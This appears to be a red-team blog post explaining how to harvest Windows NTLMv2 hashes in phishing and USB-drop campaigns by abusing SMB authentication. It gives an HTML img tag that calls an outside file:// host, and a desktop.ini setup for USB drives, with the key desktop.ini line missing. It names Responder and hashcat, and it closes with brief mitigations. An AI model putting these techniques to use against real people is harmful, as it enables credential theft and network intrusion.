Uncommon Phishing and Social Engineering Techniques

Back to Posts

Uncommon Phishing and Social Engineering Techniques

Sorry if you didn’t hear anything from me for a while but it was a very busy year and the new incoming one will bring a lot of news for me and for the voidsec project, I will speak about it soon in a new blog post.

Today I will like to write about some uncommon techniques that I’ve used during social engineering and phishing campaign. Maybe they are not overpowered but they can be pretty useful.

Behind the Scene

All of these techniques require leveraging the “French Kiss” attack or, in other words, the SMB (Microsoft Server Message Block) relaying.

SMB is a network protocol initially designed by IBM allowing files and printers sharing over NetBIOS, TCP/IP. Is used by Windows as a Single Sign On (SSO) feature that can be abused into remote credentials theft or user impersonation, all of them with minimal user interaction, that is wonderful for our phishing campaign.

As of SMB v3.0 the protocol allows file sharing with a Windows Domain using the NTLMv2 based challenge and response authentication (LM and NTLM have severe weakness and should be deprecated now a days).

The main problem relays in the default Internet Explorer User Authentication settings that allow the web browser to attempt to log-in automatically to network shares on the local network (it will prompt for credentials when attempting to authenticate against a remote host).

Note that Internet Explorer is not the only “vulnerable” software since the configurations is holded by the inetcplc.dll in the underlying Windows system, and any other program relaying to it is also vulnerable. Ex. Edge, Outlook, Chrome, Adobe Reader, Apple Software, Windows Media Player, Excel and so on…

Internet Explorer will send the username of the user in plain text and a NTLMv2 hash of the user’s Windows Logon password and Active Directory network credentials if the machine is connected to a Domain (classical example of corporate networks).

Remote attacker is now able to get the username of the machine and get the hashed password that, depending on the password policies, can be cracked using hashcat.

Keep also in mind that if SMB Packet Signing is disabled (default configuration), the attacker can also SMB relay the NTLMv2 authentication against another host.


How this technique can become useful during a phishing or a social engineering campaign?

Using Responder we can request a remote file from a share including it in an email or in a phishing page, like this:

<html><img src="file://voidsec.com/img.png"/></html>

And receive the hashes:

This technique can also be used in conjunction with USB drives drop for example. Instead of relaying on fake malicious executables (that users need to click on and that eventually will get blocked by AV or other security solutions or polices), or on malicious USB hardware (that is expensive and require a lot of time to setup the right payload) we can request a remote file on our responder instance.

We just need something that will “phone home”.

Desktop.ini to the rescue

The desktop.ini is a windows file created in customized folder, it holds settings, icons etc.

The “.ini” file need to be in a folder, it doesn’t work if you put it in the root and the folder need to have the “system” attribute.

You can easily set this attribute via the main graphical interface or via the command line with the following command: attrib +s F:\gimme-cred

After that you will need to create the desktop.ini file (must have system and hidden attribute), add the following line to the file:

Things we are getting back:

  • User IP
  • Username
  • Hash
  • Custom ID of our USB pen drive


  • Disable broadcast protocols like LLMNR and NBT-NS
  • Block SMB outbound packets on port 137,138,139,445

While you reached the end of the article, I’ve got your NTLMv2 hashes 😀 I’m joking of course.

As always, do you have any better technique? Comments or critiques? Reach me on Twitter

Share this post

Back to Posts